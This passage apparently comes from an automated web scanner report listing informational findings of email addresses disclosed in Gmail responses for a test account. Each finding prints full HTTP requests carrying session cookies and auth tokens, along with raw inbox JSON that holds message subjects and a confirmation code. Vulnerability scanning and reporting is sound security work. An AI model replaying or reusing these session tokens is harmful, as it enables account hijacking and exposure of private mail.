,"FOXSports.com Account Verification","\n\u003cdiv\u003eDear FOXSports.com Member,\u003cbr\u003e\u003cbr\u003eWelcome to the FOXSports.com community. Please verify your email address by clicking on
...[SNIP]...
blank\"\u003eAccount Management\u003c/a\u003e area.\u003cbr\u003e\u003cbr\u003eSincerely,\u003cbr\u003e\u003cbr\u003eThe FOXSports.com Team\u003cbr\u003e\u003c/div\u003e",[[]
,[0]
,""]
,0,[[]
,[["me","victim.test.account"]
]
,[]
]
,"Fri, Jan 7, 2011 at 4:57 PM",[]
,0,1,0,0,1,"mail2.foxsports.com","foxsports.com","","\u003c1220467403.12180@foxsports.com\u003e","FOXSports.com Account Verification","",,[0]
,,["en"]
,,0,[0]
,3,,,[]
,[]
,0,0,0,0,0]
,,0,"4:57 PM","4:57 pm",0,,,"",[]
,0,"Fri, Jan 7, 2011 at 4:57 PM",[]
,,,,0,,,0,0]
,["ce"]
,["cs","12d5cd14
...[SNIP]...
342375896395,"12d5cd1402cb670c",["12d5cd1402cb670c"]
,[]
,[]
,[["12d5cd1402cb670c",["^all","^i","^smartlabel_promo","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d5cd1402cb670c","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1294342369000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_promo","^u","^unsub"]
,0,1,"Mainframe Development Talent: Is Scarcity a Reality",["12d5cd1402cb670c",["victim.test.account"]
,[]
,[]
,["Aberdeen Research \u003creply-fe6115747267027d7d15-861021_HTML-893590420-65506-0@aberdeenreport.com\u003e"]
,"Mainframe Development Talent: Is Scarcity a Reality","\u003cimg width\u003d\"
...[SNIP]...
een Group, 451 D Street, Suite 710 Boston, MA, 02210, USA\u003c/font\u003e\u003c/font\u003e\u003c/td\u003e\n \u003c/tr\u003e\n\u003c/table\u003e\n\u003c/div\u003e\n\n\n",[[]
,[0]
,""]
,0,[[]
,[["me","victim.test.account"]
]
,[]
]
,"Thu, Jan 6, 2011 at 1:32 PM",[]
,0,1,1,0,1,"bounce.aberdeenreport.com","aberdeenreport.com","","\u003c79a03c50-45bf-4f6e-be21-0075a0761af3@xtinmta416.xt.local\u003e","Mainframe Development
...[SNIP]...
405850000,"Your Daily San Jose Groupon | Go to Groupon.com | Unsubscribe Be sure to add ...",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
,0,1,"Up to 56% Off Art Classes",["12d609a7bf25e970",["victim.test.account"]
,[]
,[]
,["Groupon \u003creply-fe6415707d67037d7d14-286964_HTML-716069359-96988-0@e.groupon.com\u003e"]
,"Up to 56% Off Art Classes","\n\n\n\n\n\n\n\n\n \n\n\n\n \n \n \n\n\u003cdiv style\u0
...[SNIP]...
003c/p\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n\u003c/table\u003e\n\u003cimg width\u003d\"1\" height\u003d\"1\"\u003e\n\u003cimg\u003e\n\n\u003c/div\u003e\n\n\n\n",[[]
,[0]
,""]
,0,[[]
,[["me","victim.test.account"]
]
,[]
]
,"Fri, Jan 7, 2011 at 7:10 AM",[]
,0,1,1,0,1,"bounce.e.groupon.com","e.groupon.com","","\u003c3700e61e-40fa-4fe0-a261-11f61d56be5b@xtnvmta9g.xt.local\u003e","Up to 56% Off Art Classes","",,[
...[SNIP]...
4.8. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following email address was disclosed in the response:

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=24..&view=gdv&_reqid=266657&pcd=1&tz=535711_80_80_104160_76_446820&mb=0&rt=j HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; GMAIL_STAT_24=/S:v=2&a=i&ev=tl&t=2898&e=m%3D0%2Cr%3D21%2Cj%3D916%2Cjl%3D1394%2Cs%3D2520%2Ci%3D2659&r=1&rn=26&mn=tnt%3A70&mg=tsr%3An&ai=mail%3Ai.24.0.2; GMAIL_IMP=v*2%2Fad-p-tl_i%2Ftl-si-inbox*82%2Fad-l-tl_i%2Fed-su%2Fjsnc%2Fed-ex%2Fbf-i%2Fd*0*0%2Fl-nv!%5Ei; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:31 GMT
Set-Cookie: GMAIL_STAT_24=EXPIRED; Expires=Fri, 07-Jan-2011 00:30:31 GMT; Path=/a/%domain.name%
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 2951

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["ub",[["^cob-processed-gmr",1294446612937]
,["^i",1294446612937]
,["^f",1294446625314]
,["Misc",1294446625314]
,["^k",1294446625314]
,["Fo
...[SNIP]...
BaseUrl","https://ssl.gstatic.com/ig/modules/calendar/"]
]
,[]
,0,"https://calendar.google.com/googlecalendar/images/favicon.ico","Insert event invitation in a message"]
,["Oana F, Johannes L, Ben K","calendar-usersupport+composegadget@google.com",,"",""]
]
]
]
,"//www-gm-opensocial.googleusercontent.com/gadgets/js/rpc.js?container\u003dgm\u0026nocache\u003d0\u0026debug\u003d0\u0026c\u003d1\u0026v\u003def294db3cd1123c6ced2d19f6b1410b3\u0026sv\
...[SNIP]...
4.9. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following email addresses were disclosed in the response:

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=24..&view=cv&th=12d3248277328948&th=12d2fe63f83c6dcc&th=12d2e77d54f10e2a&th=12d2db9e2374ba64&th=12d2d1bbac560fd2&prf=1&_reqid=1566657&nsc=1&mb=0&rt=j&search=inbox HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:46 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 80775

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["di",365]
,["ub",[["^i",1294446635903]
,["^f",1294446635903]
,["Misc",1294446635903]
,["^k",1294446635903]
,["Follow up",1294446635903]
,[
...[SNIP]...
c6dcc",1,,,1293588946967693,"12d2fe63f83c6dcc",["12d2fe63f83c6dcc"]
,[]
,[]
,[["12d2fe63f83c6dcc",["^all","^i","^o","^smartlabel_newsletter"]
]
]
,,[]
,[]
,[]
]
,["ms","12d2fe63f83c6dcc","",4,"Tagged \u003ctagged@taggedmail.com\u003e","Tagged","tagged@taggedmail.com",1293588774000,"Confirmation code: jwfcao Please enter this code on the \"Confirm your account...",["^all","^i","^o","^smartlabel_newsletter"]
,0,1,"Confirmation code: jwfcao",["12d2fe63f83c6dcc",["te
...[SNIP]...
564764976690,"12d2e77d54f10e2a",["12d2e77d54f10e2a"]
,[]
,[]
,[["12d2e77d54f10e2a",["^all","^i","^smartlabel_promo","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d2e77d54f10e2a","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1293564754000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_promo","^u","^unsub"]
,0,1,"Data Loss Prevention: The Vendor Landscape",["12
...[SNIP]...
552314919461,"12d2db9e2374ba64",["12d2db9e2374ba64"]
,[]
,[]
,[["12d2db9e2374ba64",["^all","^i","^smartlabel_promo","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d2db9e2374ba64","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1293552307000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_promo","^u","^unsub"]
,0,1,"Wireless in Network Integration: Boost Throughpu
...[SNIP]...
4.10. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following email addresses were disclosed in the response:

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=24..&view=cv&th=12d27fc101789f53&th=12d27efa8c9d0262&th=12d22cc35e40ae89&th=12d1f3a6b9bb1da5&th=12d1da8f12e517e8&th=12d188209d2676e8&th=12d14e51cea36bdb&th=12d13f99561bd1fe&th=12d135a846853cf9&th=12d10e03335251ce&prf=1&_reqid=1666657&nsc=1&mb=0&rt=j&search=inbox HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:48 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 180280

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["di",566]
,["ub",[["^i",1294446635903]
,["^f",1294446635903]
,["Misc",1294446635903]
,["^k",1294446635903]
,["Follow up",1294446635903]
,[
...[SNIP]...
120281714295,"12d13f99561bd1fe",["12d13f99561bd1fe"]
,[]
,[]
,[["12d13f99561bd1fe",["^all","^i","^smartlabel_promo","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d13f99561bd1fe","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1293120272000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_promo","^u","^unsub"]
,0,1,"The CIO's View of Security and Cloud Computing:
...[SNIP]...
style\u003d\"color:#000;margin:0;padding:0\"\u003e(Must use code by 01/10/2011. Valid on first purchase only. Code exclusively for \u003ca href\u003d\"mailto:test@%domain.name%\" target\u003d\"_blank\"\u003evictim.test.account\u003c/a\u003e.)\u003c/p\u003e\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\u003c/div\u003e\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\u003c/td\u003e\n\t\t\t\t\t\t\t\t\t\t\t\t\t\u003c/tr\u003e\n\t\t\t\t\t\t\t\t\t\t\t\t\u003c/ta
...[SNIP]...
ont-size:11px;font-family:Helvetica, Arial, sans-serif;color:#929292;margin:3px;padding-top:10px\"\u003eThis offer exclusively for \u003ca href\u003d\"mailto:test@%domain.name%\" target\u003d\"_blank\"\u003evictim.test.account\u003c/a\u003e. You must claim your gift code after you activate your account and make a purchase by 01/10/2011. Valid on your first purchase only for \u003ca href\u003d\"mailto:test@%domain.name%\" target\u003d\"_blank\"\u003evictim.test.account\u003c/a\u003e when you use the above gift code.\u003c/div\u003e\n\t\t\t\t\t\u003cdiv style\u003d\"font-size:11px;font-family:Helvetica, Arial, sans-serif;color:#929292;margin:3px;padding-top:10px\"\u0
...[SNIP]...
1ce",1,,,1293068286743616,"12d10e03335251ce",["12d10e03335251ce"]
,[]
,[]
,[["12d10e03335251ce",["^all","^i","^smartlabel_personal","^u"]
]
]
,,[]
,[]
,[]
]
,["ms","12d10e03335251ce","",4,"Marc Beaty \u003cmarc@surfline.com\u003e","Marc Beaty","marc@surfline.com",1293068284000,"Thank you for submitting your video to Surfline. We will review your video at...",["^all","^i","^smartlabel_personal","^u"]
,0,1,"Surfline Video Submission",["12d10e03335251ce",["' \u003cvictim.test.account\u003e"]
,[]
,[]
,[]
,"Surfline Video Submission","\n\n\n\n\n\n\n\n\n\u003cdiv\u003e\n\n\t\n \u003cp\u003eThank you for submitting your video to Surfline. We will review your video at our first oppor
...[SNIP]...
1cea36bdb",1,,,1293135718708687,"12d14e51cea36bdb",["12d14e51cea36bdb"]
,[]
,[]
,[["12d14e51cea36bdb",["^all","^i","^smartlabel_promo","^u"]
]
]
,,[]
,[]
,[]
]
,["ms","12d14e51cea36bdb","",4,"Netflix \u003cinfo@netflix.com\u003e","Netflix","info@netflix.com",1293135713000,"[image: Finish signing up for your FREE trial and get unlimited movies \u0026 TV e...",["^all","^i","^smartlabel_promo","^u"]
,0,1,"Your Netflix FREE trial is ready! Unlimited TV episo
...[SNIP]...
\u003dhelp\" target\u003d\"_blank\"\u003eHelp Center\u003c/a\u003e.\u003cbr\u003e\u003cbr\u003e This message was mailed to [\u003ca href\u003d\"mailto:test@%domain.name%\" target\u003d\"_blank\"\u003evictim.test.account\u003c/a\u003e] by Netflix. \u003cbr\u003e\n SRC: US_RMKT_D1_GEN_C3\u003cbr\u003e\n Use of the Netflix service and website constitutes acceptance of our \u003ca href\u003d\"http://www.net
...[SNIP]...
a5",1,,,1293309080993838,"12d1f3a6b9bb1da5",["12d1f3a6b9bb1da5"]
,[]
,[]
,[["12d1f3a6b9bb1da5",["^all","^i","^smartlabel_notification","^u"]
]
]
,,[]
,[]
,[]
]
,["ms","12d1f3a6b9bb1da5","",4,"Netflix \u003cinfo@netflix.com\u003e","Netflix","info@netflix.com",1293309077000,"[image: You're just a few minutes away from getting your free TV episodes \u0026 m...",["^all","^i","^smartlabel_notification","^u"]
,0,1,"We're still saving your free trial!",["12d1f3
...[SNIP]...
\u003dhelp\" target\u003d\"_blank\"\u003eHelp Center\u003c/a\u003e.\u003cbr\u003e\u003cbr\u003e This message was mailed to [\u003ca href\u003d\"mailto:test@%domain.name%\" target\u003d\"_blank\"\u003evictim.test.account\u003c/a\u003e] by Netflix. \u003cbr\u003e\n SRC: US_RMKT_D4_GEN_C3\u003cbr\u003e\n Use of the Netflix service and website constitutes acceptance of our \u003ca href\u003d\"http://www.net
...[SNIP]...
4.11. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following email addresses were disclosed in the response:

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=24..&view=cv&th=12d3c1bdd50f84b1&th=12d3892fec386c07&th=12d38c4899853798&th=12d3774b953dcbde&th=12d327010dd83ccb&prf=1&_reqid=1466657&nsc=1&mb=0&rt=j&search=inbox HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:44 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 96866

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["di",721]
,["ub",[["^i",1294446635903]
,["^f",1294446635903]
,["Misc",1294446635903]
,["^k",1294446635903]
,["Follow up",1294446635903]
,[
...[SNIP]...
737561894009,"12d38c4899853798",["12d38c4899853798"]
,[]
,[]
,[["12d38c4899853798",["^all","^i","^smartlabel_promo","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d38c4899853798","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1293737546000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_promo","^u","^unsub"]
,0,1,"The CIO's View of Enterprise Key Management",["1
...[SNIP]...
3270299,"12d327010dd83ccb",["12d327010dd83ccb"]
,[]
,[]
,[["12d327010dd83ccb",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d327010dd83ccb","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1293631352000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
,0,1,"Endpoint Visibility and Control: Better Map
...[SNIP]...
rsonal","^u"]
]
,["12d39fe39dcc974a",["^all","^i","^smartlabel_personal","^u"]
]
,["12d39fe441848c77",["^all","^i","^smartlabel_personal","^u"]
]
]
,,[]
,[]
,[]
]
,["ms","12d3892fec386c07","",3,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293752325000,"test",["^all","^i","^o","^smartlabel_personal"]
,0,1,"test",,,0,"5:38 PM","12/30/10",0,,,"",[]
,0,"Thu, Dec 30, 2010 at 5:38 PM",[]
,,,,0,,,0,0]
,["ms","12d38931306c229c","",3,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293752331000,"test",["^all","^i","^o","^smartlabel_personal"]
,0,1,"test",,,0,"5:38 PM","12/30/10",0,,,"",[]
,0,"Thu, Dec 30, 2010 at 5:38 PM",[]
,,,,0,,,0,0]
,["ms","12d3893131bc3535","",3,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293752331000,"test",["^all","^i","^o","^smartlabel_personal"]
,0,1,"test",,,0,"5:38 PM","12/30/10",0,,,"",[]
,0,"Thu, Dec 30, 2010 at 5:38 PM",[]
,,,,0,,,0,0]
,["ms","12d389313f5b0b18","",3,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293752330000,"test",["^all","^i","^o","^smartlabel_personal"]
,0,1,"test",,,0,"5:38 PM","12/30/10",0,,,"",[]
,0,"Thu, Dec 30, 2010 at 5:38 PM",[]
,,,,0,,,0,0]
,["ms","12d389313f614b90","",3,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293752330000,"test",["^all","^i","^o","^smartlabel_personal"]
,0,1,"test",,,0,"5:38 PM","12/30/10",0,,,"",[]
,0,"Thu, Dec 30, 2010 at 5:38 PM",[]
,,,,0,,,0,0]
,["ms","12d389715b56e0d4","",4,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293752584000,"test",["^all","^i","^io_hi","^smartlabel_personal","^u"]
,0,1,"test",["12d389715b56e0d4",["test@%domain.name%"]
,[]
,[]
,["test@test.cloudscan.us"]
,"test","\u003cfont color\u003d#888888\u003e\u003cspan style\u003d\"font-family:Tahoma;font-size:10pt\"\u003e\u003cspan style\u003d\"white-space:pre-wrap\"\u003e\t\u003c/span\u003etest\u003cbr\u003e
...[SNIP]...
3$3d98790$@com\u003e","test","",,[0]
,,["en"]
,,0,[0]
,2,,,[]
,[]
,0,0,0,0,0]
,,0,"5:43 PM","12/30/10",0,,,"",[]
,0,"Thu, Dec 30, 2010 at 5:43 PM",[]
,,,,0,,,0,0]
,["ms","12d39fd949a33624","",4,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293776087000,"test",["^all","^i","^smartlabel_personal","^u"]
,0,1,"test",["12d39fd949a33624",["test@%domain.name%"]
,[]
,[]
,["test@test.cloudscan.us"]
,"test","\u003cfont color\u003d#888888\u003e\u003cspan style\u003d\"font-family:Tahoma;font-size:10pt\"\u003etest\u003cbr\u003e\n\u003cbr\u003e\n\u003cdiv\u003e\u003c/div\u003e\u003c/span\u003e\n\u0
...[SNIP]...
61cad43$@com\u003e","test","",,[0]
,,["en"]
,,0,[0]
,2,,,[]
,[]
,0,0,0,0,0]
,,0,"12:14 AM","12/31/10",0,,,"",[]
,0,"Fri, Dec 31, 2010 at 12:14 AM",[]
,,,,0,,,0,0]
,["ms","12d39fdc67488c7f","",4,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293776100000,"test",["^all","^i","^smartlabel_personal","^u"]
,0,1,"test",["12d39fdc67488c7f",["test@%domain.name%"]
,[]
,[]
,["test@test.cloudscan.us"]
,"test","\u003cfont color\u003d#888888\u003e\u003cspan style\u003d\"font-family:Tahoma;font-size:10pt\"\u003etest\u003cbr\u003e\n\u003cbr\u003e\n\u003cdiv\u003e\u003c/div\u003e\u003c/span\u003e\n\u0
...[SNIP]...
d5e3b77$@com\u003e","test","",,[0]
,,["en"]
,,0,[0]
,2,,,[]
,[]
,0,0,0,0,0]
,,0,"12:15 AM","12/31/10",0,,,"",[]
,0,"Fri, Dec 31, 2010 at 12:15 AM",[]
,,,,0,,,0,0]
,["ms","12d39fddb206652d","",4,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293776105000,"test",["^all","^i","^smartlabel_personal","^u"]
,0,1,"test",["12d39fddb206652d",["test@%domain.name%"]
,[]
,[]
,["test@test.cloudscan.us"]
,"test","\u003cfont color\u003d#888888\u003e\u003cspan style\u003d\"font-family:Tahoma;font-size:10pt\"\u003etest\u003cbr\u003e\n\u003cbr\u003e\n\u003cdiv\u003e\u003c/div\u003e\u003c/span\u003e\n\u0
...[SNIP]...
e344c5f$@com\u003e","test","",,[0]
,,["en"]
,,0,[0]
,2,,,[]
,[]
,0,0,0,0,0]
,,0,"12:15 AM","12/31/10",0,,,"",[]
,0,"Fri, Dec 31, 2010 at 12:15 AM",[]
,,,,0,,,0,0]
,["ms","12d39fde713582b3","",4,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293776107000,"test",["^all","^i","^smartlabel_personal","^u"]
,0,1,"test",["12d39fde713582b3",["test@%domain.name%"]
,[]
,[]
,["test@test.cloudscan.us"]
,"test","\u003cfont color\u003d#888888\u003e\u003cspan style\u003d\"font-family:Tahoma;font-size:10pt\"\u003etest\u003cbr\u003e\n\u003cbr\u003e\n\u003cdiv\u003e\u003c/div\u003e\u003c/span\u003e\n\u0
...[SNIP]...
a6eb680$@com\u003e","test","",,[0]
,,["en"]
,,0,[0]
,2,,,[]
,[]
,0,0,0,0,0]
,,0,"12:15 AM","12/31/10",0,,,"",[]
,0,"Fri, Dec 31, 2010 at 12:15 AM",[]
,,,,0,,,0,0]
,["ms","12d39fde9b84db51","",4,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293776108000,"test",["^all","^i","^smartlabel_personal","^u"]
,0,1,"test",["12d39fde9b84db51",["test@%domain.name%"]
,[]
,[]
,["test@test.cloudscan.us"]
